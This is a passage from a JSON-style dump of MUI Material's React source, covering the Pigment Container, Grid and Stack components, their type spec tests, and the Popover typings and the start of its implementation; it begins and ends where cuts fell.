elevation9: string;\n  /** Styles applied to the root element if `elevation={10}`. */\n  elevation10: string;\n  /** Styles applied to the root element if `elevation={11}`. */\n  elevation11: string;\n  /** Styles applied to the root element if `elevation={12}`. */\n  elevation12: string;\n  /** Styles applied to the root element if `elevation={13}`. */\n  elevation13: string;\n  /** Styles applied to the root element if `elevation={14}`. */\n  elevation14: string;\n  /** Styles applied to the root element if `elevation={15}`. */\n  elevation15: string;\n  /** Styles applied to the root element if `elevation={16}`. */\n  elevation16: string;\n  /** Styles applied to the root element if `elevation={17}`. */\n  elevation17: string;\n  /** Styles applied to the root element if `elevation={18}`. */\n  elevation18: string;\n  /** Styles applied to the root element if `elevation={19}`. */\n  elevation19: string;\n  /** Styles applied to the root element if `elevation={20}`. */\n  elevation20: string;\n  /** Styles applied to the root element if `elevation={21}`. */\n  elevation21: string;\n  /** Styles applied to the root element if `elevation={22}`. */\n  elevation22: string;\n  /** Styles applied to the root element if `elevation={23}`. */\n  elevation23: string;\n  /** Styles applied to the root element if `elevation={24}`. */\n  elevation24: string;\n}\n\nexport type PaperClassKey = keyof PaperClasses;\n\nexport function getPaperUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiPaper', slot);\n}\n\nconst paperClasses: PaperClasses = generateUtilityClasses('MuiPaper', [\n  'root',\n  'rounded',\n  'outlined',\n  'elevation',\n  'elevation0',\n  'elevation1',\n  'elevation2',\n  'elevation3',\n  'elevation4',\n  'elevation5',\n  'elevation6',\n  'elevation7',\n  'elevation8',\n  'elevation9',\n  'elevation10',\n  'elevation11',\n  'elevation12',\n  'elevation13',\n  'elevation14',\n  'elevation15',\n  'elevation16',\n  'elevation17',\n  'elevation18',\n  'elevation19',\n  'elevation20',\n  'elevation21',\n  'elevation22',\n  'elevation23',\n  'elevation24',\n]);\n\nexport default paperClasses;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentContainer/PigmentContainer.spec.tsx",
    "content": "import Container from '@mui/material/PigmentContainer';\n\n<Container />;\n<Container maxWidth=\"sm\" />;\n<Container fixed />;\n<Container disableGutters />;\n<Container fixed disableGutters />;\n\n// @ts-expect-error `maxWidth` is not a valid prop\n<Container maxWidth=\"monitor\" />;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentContainer/PigmentContainer.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { OverridableComponent, OverrideProps } from '@mui/types';\n// @ts-ignore\nimport Container from '@mui/material-pigment-css/Container';\nimport capitalize from '@mui/utils/capitalize';\nimport composeClasses from '@mui/utils/composeClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport { SxProps, Breakpoint } from '@mui/system';\nimport { Theme } from '../styles';\nimport { ContainerClasses } from '../Container/containerClasses';\n\nexport interface PigmentContainerOwnProps {\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ContainerClasses> | undefined;\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters?: boolean | undefined;\n  /**\n   * Set the max-width to match the min-width of the current breakpoint.\n   * This is useful if you'd prefer to design for a fixed set of sizes\n   * instead of trying to accommodate a fully fluid viewport.\n   * It's fluid by default.\n   * @default false\n   */\n  fixed?: boolean | undefined;\n  /**\n   * Determine the max-width of the container.\n   * The container width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'lg'\n   */\n  maxWidth?: Breakpoint | false | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface PigmentContainerTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & PigmentContainerOwnProps;\n  defaultComponent: RootComponent;\n}\n\nexport type PigmentContainerProps<\n  RootComponent extends React.ElementType = PigmentContainerTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<PigmentContainerTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nconst useUtilityClasses = (ownerState: PigmentContainerOwnProps) => {\n  const { classes, fixed, disableGutters, maxWidth } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      maxWidth && `maxWidth${capitalize(String(maxWidth))}`,\n      fixed && 'fixed',\n      disableGutters && 'disableGutters',\n    ],\n  };\n\n  return composeClasses(slots, (slot) => generateUtilityClass('MuiContainer', slot), classes);\n};\n/**\n *\n * Demos:\n *\n * - [Container](https://next.mui.com/material-ui/react-container/)\n *\n * API:\n *\n * - [PigmentContainer API](https://next.mui.com/material-ui/api/pigment-container/)\n */\nconst PigmentContainer = React.forwardRef(function PigmentContainer(\n  { className, disableGutters = false, fixed = false, maxWidth = 'lg', ...props },\n  ref,\n) {\n  const ownerState = {\n    ...props,\n    disableGutters,\n    fixed,\n    maxWidth,\n  };\n  const classes = useUtilityClasses(ownerState);\n  return (\n    <Container\n      className={clsx(classes.root, className)}\n      disableGutters={disableGutters}\n      fixed={fixed}\n      maxWidth={maxWidth}\n      {...(props as any)}\n      // @ts-ignore\n      ref={ref}\n    />\n  );\n}) as OverridableComponent<PigmentContainerTypeMap>;\n\nPigmentContainer.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * @ignore\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the left and right padding is removed.\n   * @default false\n   */\n  disableGutters: PropTypes.bool,\n  /**\n   * Set the max-width to match the min-width of the current breakpoint.\n   * This is useful if you'd prefer to design for a fixed set of sizes\n   * instead of trying to accommodate a fully fluid viewport.\n   * It's fluid by default.\n   * @default false\n   */\n  fixed: PropTypes.bool,\n  /**\n   * Determine the max-width of the container.\n   * The container width grows with the size of the screen.\n   * Set to `false` to disable `maxWidth`.\n   * @default 'lg'\n   */\n  maxWidth: PropTypes.oneOf(['lg', 'md', 'sm', 'xl', 'xs', false]),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n} as any;\n\nexport default PigmentContainer;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentContainer/index.ts",
    "content": "export { default } from './PigmentContainer';\nexport * from './PigmentContainer';\nexport { default as containerClasses } from '../Container/containerClasses';\n"
  },
  {
    "path": "packages/mui-material/src/PigmentGrid/PigmentGrid.spec.tsx",
    "content": "import Grid from '@mui/material/PigmentGrid';\n\n<Grid size={2} />;\n<Grid size={{ xs: 6, sm: 4, md: 3 }} />;\n<Grid size={{ xs: 'auto', sm: 'grow', md: null }} />;\n\n// @ts-expect-error `size` is not a valid prop\n<Grid size={{ monitor: 3 }} />;\n\n<Grid container />;\n<Grid container spacing={2} />;\n<Grid container spacing=\"1rem\" />;\n<Grid container spacing={{ xs: 6, sm: 4, md: 3 }} />;\n<Grid container spacing={{ xs: '1rem', sm: '2rem', md: '3rem' }} />;\n<Grid container direction=\"row\" />;\n<Grid container direction=\"row\" spacing={2} />;\n<Grid container direction=\"row\" spacing={2} wrap=\"nowrap\" />;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentGrid/PigmentGrid.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport { OverridableComponent, OverrideProps } from '@mui/types';\nimport { SxProps } from '@mui/system';\n// @ts-ignore\nimport Grid from '@mui/material-pigment-css/Grid';\nimport composeClasses from '@mui/utils/composeClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport {\n  unstable_generateDirectionClasses as generateDirectionClasses,\n  unstable_generateSizeClassNames as generateSizeClassNames,\n  unstable_generateSpacingClassNames as generateSpacingClassNames,\n} from '@mui/system/Grid';\nimport { Breakpoint, Theme } from '../styles';\n\ntype ResponsiveStyleValue<T> = T | Array<T | null> | { [key in Breakpoint]?: T | null };\n\nexport type GridDirection = 'row' | 'row-reverse';\n\nexport type GridSpacing = number | string;\n\nexport type GridWrap = 'nowrap' | 'wrap' | 'wrap-reverse';\n\nexport type GridSize = 'auto' | 'grow' | number;\n\nexport interface GridBaseProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * The number of columns.\n   * @default 12\n   */\n  columns?: ResponsiveStyleValue<number> | undefined;\n  /**\n   * Defines the horizontal space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  columnSpacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * If `true`, the component will have the flex *container* behavior.\n   * You should be wrapping *items* with a *container*.\n   * @default false\n   */\n  container?: boolean | undefined;\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'row'\n   */\n  direction?: ResponsiveStyleValue<GridDirection> | undefined;\n  /**\n   * Defines the offset of the grid.\n   */\n  offset?: ResponsiveStyleValue<number> | undefined;\n  /**\n   * Defines the vertical space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  rowSpacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * Defines the space between the type `item` components.\n   * It can only be used on a type `container` component.\n   * @default 0\n   */\n  spacing?: ResponsiveStyleValue<GridSpacing> | undefined;\n  /**\n   * Defines the column size of the grid.\n   */\n  size?: ResponsiveStyleValue<GridSize> | undefined;\n  /**\n   * Defines the `flex-wrap` style property.\n   * It's applied for all screen sizes.\n   * @default 'wrap'\n   */\n  wrap?: GridWrap | undefined;\n}\n\nexport interface GridTypeMap<\n  AdditionalProps = {},\n  DefaultComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & GridBaseProps & { sx?: SxProps<Theme> | undefined };\n  defaultComponent: DefaultComponent;\n}\n\nexport type GridProps<\n  RootComponent extends React.ElementType = GridTypeMap['defaultComponent'],\n  AdditionalProps = {\n    component?: React.ElementType | undefined;\n  },\n> = OverrideProps<GridTypeMap<AdditionalProps, RootComponent>, RootComponent>;\n\nconst useUtilityClasses = (ownerState: GridBaseProps) => {\n  const { container, direction, size, spacing } = ownerState;\n  let gridSize = {};\n  if (size) {\n    if (Array.isArray(size)) {\n      size.forEach((value, index) => {\n        gridSize = { ...gridSize, [index]: value };\n      });\n    }\n    if (typeof size === 'object') {\n      gridSize = size;\n    }\n  }\n  const slots = {\n    root: [\n      'root',\n      container && 'container',\n      ...generateDirectionClasses(direction),\n      ...generateSizeClassNames(gridSize),\n      ...(container ? generateSpacingClassNames(spacing) : []),\n    ],\n  };\n\n  return composeClasses(slots, (slot: string) => generateUtilityClass('MuiGrid', slot), {});\n};\n/**\n *\n * Demos:\n *\n * - [Grid](https://next.mui.com/material-ui/react-grid/)\n *\n * API:\n *\n * - [PigmentGrid API](https://next.mui.com/material-ui/api/pigment-grid/)\n */\nconst PigmentGrid = React.forwardRef(function PigmentGrid(props, ref) {\n  const { className, ...other } = props;\n\n  const classes = useUtilityClasses(props);\n\n  return <Grid ref={ref} className={clsx(classes.root, className)} {...(other as any)} />;\n}) as OverridableComponent<GridTypeMap>;\n\nPigmentGrid.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The number of columns.\n   * @default 12\n   */\n  columns: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.number),\n    PropTypes.number,\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the horizontal space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  columnSpacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * If `true`, the component will have the flex *container* behavior.\n   * You should be wrapping *items* with a *container*.\n   * @default false\n   */\n  container: PropTypes.bool,\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'row'\n   */\n  direction: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['row', 'row-reverse']),\n    PropTypes.arrayOf(PropTypes.oneOf(['row', 'row-reverse'])),\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the offset of the grid.\n   */\n  offset: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.number),\n    PropTypes.number,\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the vertical space between the type `item` components.\n   * It overrides the value of the `spacing` prop.\n   */\n  rowSpacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * Defines the column size of the grid.\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.number),\n    PropTypes.number,\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the space between the type `item` components.\n   * It can only be used on a type `container` component.\n   * @default 0\n   */\n  spacing: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired),\n    PropTypes.number,\n    PropTypes.object,\n    PropTypes.string,\n  ]),\n  /**\n   * @ignore\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Defines the `flex-wrap` style property.\n   * It's applied for all screen sizes.\n   * @default 'wrap'\n   */\n  wrap: PropTypes.oneOf(['nowrap', 'wrap-reverse', 'wrap']),\n} as any;\n\n// @ts-ignore internal logic for nested grid\nPigmentGrid.muiName = 'Grid';\n\nexport default PigmentGrid;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentGrid/index.ts",
    "content": "export { default } from './PigmentGrid';\nexport * from './PigmentGrid';\nexport { default as gridClasses } from '../Grid/gridClasses';\n"
  },
  {
    "path": "packages/mui-material/src/PigmentStack/PigmentStack.spec.tsx",
    "content": "import Stack from '@mui/material/PigmentStack';\n\n<Stack />;\n<Stack direction=\"row\" />;\n<Stack spacing={2} />;\n<Stack spacing={{ sm: 2, lg: 4 }} />;\n<Stack spacing=\"1rem\" />;\n<Stack spacing={{ sm: '1rem', lg: '2rem' }} />;\n<Stack divider={<div />} />;\n\n// @ts-expect-error `spacing` is not a valid prop\n<Stack spacing={{ monitor: 3 }} />;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentStack/PigmentStack.tsx",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport { OverridableComponent, OverrideProps } from '@mui/types';\n// @ts-ignore\nimport Stack from '@mui/material-pigment-css/Stack';\nimport composeClasses from '@mui/utils/composeClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\nimport { SxProps } from '@mui/system';\nimport { Breakpoint, Theme } from '../styles';\n\ntype ResponsiveStyleValue<T> = T | Array<T | null> | { [key in Breakpoint]?: T | null };\n\nexport interface PigmentStackOwnProps {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'column'\n   */\n  direction?: ResponsiveStyleValue<'row' | 'row-reverse' | 'column' | 'column-reverse'> | undefined;\n  /**\n   * Defines the space between immediate children.\n   * @default 0\n   */\n  spacing?: ResponsiveStyleValue<number | string> | undefined;\n  /**\n   * Add an element between each child.\n   */\n  divider?: React.ReactNode;\n  /**\n   * The system prop, which allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface PigmentStackTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> {\n  props: AdditionalProps & PigmentStackOwnProps;\n  defaultComponent: RootComponent;\n}\n\nexport type PigmentStackProps<\n  RootComponent extends React.ElementType = PigmentStackTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<PigmentStackTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nconst useUtilityClasses = () => {\n  const slots = {\n    root: ['root'],\n  };\n\n  return composeClasses(slots, (slot) => generateUtilityClass('MuiStack', slot), {});\n};\n/**\n *\n * Demos:\n *\n * - [Stack](https://next.mui.com/material-ui/react-stack/)\n *\n * API:\n *\n * - [PigmentStack API](https://next.mui.com/material-ui/api/pigment-stack/)\n */\nconst PigmentStack = React.forwardRef(function PigmentStack({ className, ...props }, ref) {\n  const classes = useUtilityClasses();\n  return <Stack ref={ref} className={clsx(classes.root, className)} {...(props as any)} />;\n}) as OverridableComponent<PigmentStackTypeMap>;\n\nPigmentStack.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │ To update them, edit the TypeScript types and run `pnpm proptypes`. │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * Defines the `flex-direction` style property.\n   * It is applied for all screen sizes.\n   * @default 'column'\n   */\n  direction: PropTypes.oneOfType([\n    PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n    PropTypes.arrayOf(PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row'])),\n    PropTypes.shape({\n      lg: PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n      md: PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n      sm: PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n      xl: PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n      xs: PropTypes.oneOf(['column-reverse', 'column', 'row-reverse', 'row']),\n    }),\n  ]),\n  /**\n   * Add an element between each child.\n   */\n  divider: PropTypes.node,\n  /**\n   * Defines the space between immediate children.\n   * @default 0\n   */\n  spacing: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.number, PropTypes.string])),\n    PropTypes.number,\n    PropTypes.shape({\n      lg: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n      md: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n      sm: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n      xl: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n      xs: PropTypes.oneOfType([PropTypes.number, PropTypes.string]),\n    }),\n    PropTypes.string,\n  ]),\n  /**\n   * The system prop, which allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n} as any;\n\nexport default PigmentStack;\n"
  },
  {
    "path": "packages/mui-material/src/PigmentStack/index.ts",
    "content": "export { default } from './PigmentStack';\nexport * from './PigmentStack';\nexport { default as stackClasses } from '../Stack/stackClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Popover/Popover.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { SlotComponentProps } from '@mui/utils/types';\nimport { BackdropProps } from '../Backdrop';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { PaperProps } from '../Paper';\nimport { ModalProps } from '../Modal';\nimport { TransitionProps } from '../transitions/transition';\nimport { PopoverClasses } from './popoverClasses';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\n\nexport interface PopoverSlots {\n  /**\n   * The component used for the root slot.\n   * @default Modal\n   */\n  root: React.ElementType;\n  /**\n   * The component used for the paper slot.\n   * @default Paper\n   */\n  paper: React.ElementType;\n  /**\n   * The component used for the transition slot.\n   * @default Grow\n   */\n  transition: React.ElementType;\n  /**\n   * The component used for the backdrop slot.\n   * @default Backdrop\n   */\n  backdrop: React.ElementType;\n}\n\nexport interface PopoverRootSlotPropsOverrides {}\nexport interface PopoverPaperSlotPropsOverrides {}\nexport interface PopoverTransitionSlotPropsOverrides {}\nexport interface PopoverBackdropSlotPropsOverrides {}\n\nexport type PopoverSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  PopoverSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the [Modal](https://mui.com/material-ui/api/modal/#props) component.\n     */\n    root: SlotProps<\n      React.ElementType<ModalProps>,\n      PopoverRootSlotPropsOverrides,\n      PopoverOwnerState\n    >;\n    /**\n     * Props forwarded to the paper slot.\n     * By default, the available props are based on the [Paper](https://mui.com/material-ui/api/paper/#props) component.\n     */\n    paper: SlotProps<\n      React.ElementType<PaperProps>,\n      PopoverPaperSlotPropsOverrides,\n      PopoverOwnerState\n    >;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Grow](https://mui.com/material-ui/api/grow/#props) component.\n     */\n    transition: SlotComponentProps<\n      // use SlotComponentProps because transition slot does not support `component` and `sx` prop\n      React.ElementType<TransitionProps>,\n      TransitionProps & PopoverTransitionSlotPropsOverrides,\n      PopoverOwnerState\n    >;\n    /**\n     * Props forwarded to the backdrop slot.\n     * By default, the available props are based on the [Backdrop](https://mui.com/material-ui/api/backdrop/#props) component.\n     */\n    backdrop: SlotProps<\n      React.ElementType<BackdropProps>,\n      PopoverBackdropSlotPropsOverrides,\n      PopoverOwnerState\n    >;\n  }\n>;\n\nexport interface PopoverOrigin {\n  vertical: 'top' | 'center' | 'bottom' | number;\n  horizontal: 'left' | 'center' | 'right' | number;\n}\n\nexport interface PopoverPosition {\n  top: number;\n  left: number;\n}\n\nexport type PopoverReference = 'anchorEl' | 'anchorPosition' | 'none';\n\ninterface PopoverVirtualElement {\n  getBoundingClientRect: () => DOMRect;\n  nodeType: Node['ELEMENT_NODE'];\n}\n\nexport interface PopoverProps\n  extends\n    StandardProps<\n      Omit<ModalProps, 'slots' | 'slotProps' | 'BackdropProps' | 'BackdropComponent'>,\n      'children'\n    >,\n    PopoverSlotsAndSlotProps {\n  /**\n   * A ref for imperative actions.\n   * It currently only supports updatePosition() action.\n   */\n  action?: React.Ref<PopoverActions> | undefined;\n  /**\n   * An HTML element, [PopoverVirtualElement](https://mui.com/material-ui/react-popover/#virtual-element),\n   * or a function that returns either.\n   * It's used to set the position of the popover.\n   */\n  anchorEl?:\n    | null\n    | Element\n    | PopoverVirtualElement\n    | (() => Element | PopoverVirtualElement | null)\n    | undefined;\n  /**\n   * This is the point on the anchor where the popover's\n   * `anchorEl` will attach to. This is not used when the\n   * anchorReference is 'anchorPosition'.\n   *\n   * Options:\n   * vertical: [top, center, bottom];\n   * horizontal: [left, center, right].\n   * @default {\n   *   vertical: 'top',\n   *   horizontal: 'left',\n   * }\n   */\n  anchorOrigin?: PopoverOrigin | undefined;\n  /**\n   * This is the position that may be used to set the position of the popover.\n   * The coordinates are relative to the application's client area.\n   */\n  anchorPosition?: PopoverPosition | undefined;\n  /**\n   * This determines which anchor prop to refer to when setting\n   * the position of the popover.\n   * @default 'anchorEl'\n   */\n  anchorReference?: PopoverReference | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<PopoverClasses> | undefined;\n  /**\n   * An HTML element, component instance, or function that returns either.\n   * The `container` will passed to the Modal component.\n   *\n   * By default, it uses the body of the anchorEl's top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container?: ModalProps['container'] | undefined;\n  /**\n   * The elevation of the popover.\n   * @default 8\n   */\n  elevation?: number | undefined;\n  /**\n   * Specifies how close to the edge of the window the popover can appear.\n   * If null, the popover will not be constrained by the window.\n   * @default 16\n   */\n  marginThreshold?: number | null | undefined;\n  onClose?: ModalProps['onClose'] | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: boolean;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * This is the point on the popover which\n   * will attach to the anchor's origin.\n   *\n   * Options:\n   * vertical: [top, center, bottom, x(px)];\n   * horizontal: [left, center, right, x(px)].\n   * @default {\n   *   vertical: 'top',\n   *   horizontal: 'left',\n   * }\n   */\n  transformOrigin?: PopoverOrigin | undefined;\n  /**\n   * Set to 'auto' to automatically calculate transition time based on height.\n   * @default 'auto'\n   */\n  transitionDuration?: TransitionProps['timeout'] | 'auto' | undefined;\n}\n\nexport interface PopoverOwnerState extends Omit<PopoverProps, 'slots' | 'slotProps'> {}\n\nexport interface PopoverActions {\n  updatePosition(): void;\n}\n\nexport function getOffsetTop(rect: DOMRect, vertical: number | 'center' | 'bottom' | 'top'): number;\n\nexport function getOffsetLeft(\n  rect: DOMRect,\n  horizontal: number | 'center' | 'right' | 'left',\n): number;\n\ntype PopoverRootProps = NonNullable<PopoverProps['slotProps']>['root'];\ntype PopoverPaperProps = NonNullable<PopoverProps['slotProps']>['paper'];\n\nexport declare const PopoverRoot: React.FC<PopoverRootProps>;\nexport declare const PopoverPaper: React.FC<PopoverPaperProps>;\n\n/**\n *\n * Demos:\n *\n * - [Menu](https://next.mui.com/material-ui/react-menu/)\n * - [Popover](https://next.mui.com/material-ui/react-popover/)\n *\n * API:\n *\n * - [Popover API](https://next.mui.com/material-ui/api/popover/)\n * - inherits [Modal API](https://next.mui.com/material-ui/api/modal/)\n */\nexport default function Popover(props: PopoverProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Popover/Popover.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport refType from '@mui/utils/refType';\nimport integerPropType from '@mui/utils/integerPropType';\nimport chainPropTypes from '@mui/utils/chainPropTypes';\nimport isHostComponent from '@mui/utils/isHostComponent';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport isLayoutSupported from '../utils/isLayoutSupported';\nimport debounce from '../utils/debounce';\nimport ownerDocument from '../utils/ownerDocument';\nimport ownerWindow from '../utils/ownerWindow';\nimport Grow from '../Grow';\nimport Modal from '../Modal';\nimport PaperBase from '../Paper';\nimport { getPopoverUtilityClass } from './popoverClasses';\nimport useSlot from '../utils/useSlot';\nimport { mergeSlotProps } from '../utils';\n\nexport function getOffsetTop(rect, vertical) {\n  let offset = 0;\n\n  if (typeof vertical === 'number') {\n    offset = vertical;\n  } else if (vertical === 'center') {\n    offset = rect.height / 2;\n  } else if (vertical === 'bottom') {\n    offset = rect.height;\n  }\n\n  return offset;\n}\n\nexport function getOffsetLeft(rect, horizontal) {\n  let offset = 0;\n\n  if (typeof horizontal === 'number') {\n    offset = horizontal;\n  } else if (horizontal === 'center') {\n    offset = rect.width / 2;\n  } else if (horizontal === 'right') {\n    offset = rect.width;\n  }\n\n  return offset;\n}\n\nfunction getTransformOriginValue(transformOrigin) {\n  return [transformOrigin.horizontal, transformOrigin.vertical]\n    .map((n) => (typeof n === 'number' ? `${n}px` : n))\n    .join(' ');\n}\n\nfunction resolveAnchorEl(anchorEl) {\n  return typeof anchorEl === 'function' ? anchorEl() : anchorEl;\n}\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    paper: ['paper'],\n  };\n\n  return composeClasses(slots, getPopoverUtilityClass, classes);\n};\n\nexport const PopoverRoot = styled(Modal, {\n  name: 'MuiPopover',\n  slot: 'Root',\n})({});\n\nexport const PopoverPaper = styled(PaperBase, {\n  name: 'MuiPopover',\n  slot: 'Paper',\n})({\n  position: 'absolute',\n  overflowY: 'auto',\n  overflowX: 'hidden',\n  // So we see the popover when it's empty.\n  // It's most likely on issue on userland.\n  minWidth: 16,\n  minHeight: 16,\n  maxWidth: 'calc(100% - 32px)',\n  maxHeight: 'calc(100% - 32px)',\n  // We disable the focus ring for mouse, touch and keyboard users.\n  outline: 0,\n});\n\nconst Popover = React.forwardRef(function Popover(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiPopover' });\n  const {\n    action,\n    anchorEl,\n    anchorOrigin = {\n      vertical: 'top',\n      horizontal: 'left',\n    },\n    anchorPosition,\n    anchorReference = 'anchorEl',\n    children,\n    className,\n    container: containerProp,\n    elevation = 8,\n    marginThreshold = 16,\n    open,\n    slots = {},\n    slotProps = {},\n    transformOrigin = {\n      vertical: 'top',\n      horizontal: 'left',\n    },\n    transitionDuration: transitionDurationProp = 'auto',\n    disableScrollLock = false,\n    ...other\n  } = props;\n\n  const paperRef = React.useRef();\n\n  const ownerState = {\n    ...props,\n    anchorOrigin,\n    